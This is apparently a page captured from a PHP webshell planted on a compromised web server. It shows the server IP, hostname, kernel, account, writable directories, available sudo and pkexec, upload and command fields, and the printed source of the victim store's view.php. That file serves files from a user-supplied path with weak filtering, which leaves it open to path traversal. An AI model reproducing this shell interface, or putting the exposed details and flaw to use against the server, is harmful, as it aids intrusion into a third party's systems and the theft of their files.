403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/view.php
<?php

	$userAllowed = FALSE;
	$fileSuccess = FALSE;

	if (isset($_GET['content'])) {

		include('config.php');
		dbConn();

		$content = mysql_real_escape_string($_GET['content']);
		$content = str_replace("content/models/", "", $content);
		$file = '../../content/models/' . $content;

		if (is_file($file)) {

			if (preg_match('/\/tn\//', $file) || preg_match('/preview_thumbnail.jpg/', $file) || preg_match('/icon.jpg/', $file)) {
				// Ignore check if thumbnail, icon, or previewthumbnail
				$userAllowed = TRUE;
			} else {

				$contentSplit = explode("/", $content);

				if (isset($contentSplit[0]) && $contentSplit[0] != "" && isset($contentSplit[1]) && $contentSplit[1] != "") {
					$directory = $contentSplit[0] . "/" . $contentSplit[1];
				}

				if (isset($directory)) {

					$content_sql = mysql_query("SELECT * FROM `cms_content` WHERE `directory` = '" . $directory . "'") or die(mysql_error());

					if (mysql_num_rows($content_sql) == 1) {

						$content = mysql_fetch_object($content_sql);

					}

					if (isset($member_id) && $member_id > 0 && isset($content->id)) {

						//$purchased_sql = mysql_query("SELECT * FROM `cms_members_access` WHERE `member_id` = '" . $member_id . "' AND  `content_id` = '" . $content->id . "'") or die(mysql_error());
						$purchased_sql = mysql_query("SELECT * FROM cms_billing_purchases WHERE memberID = '" . $memberID . "' AND  relatedID = '0' AND itemID = '".$content->id."'") or die(mysql_error());

						if (mysql_num_rows($purchased_sql) == 1) {
							$userAllowed = TRUE;
						}
					}
				}
			}

			if ($userAllowed) {

				$finfo = finfo_open(FILEINFO_MIME_TYPE);
				$fileMime = finfo_file($finfo, $file);
				finfo_close($finfo);

				if (isset($fileMime) && $fileMime != "") {

					header('Content-type: ' . $fileMime);
					readfile($file);
					$fileSuccess = TRUE;

				}

			}
		}
	}

	if (!$fileSuccess) {
		header("HTTP/1.0 404 Not Found");
	}





Youez - 2016 - github.com/yon3zu
LinuXploit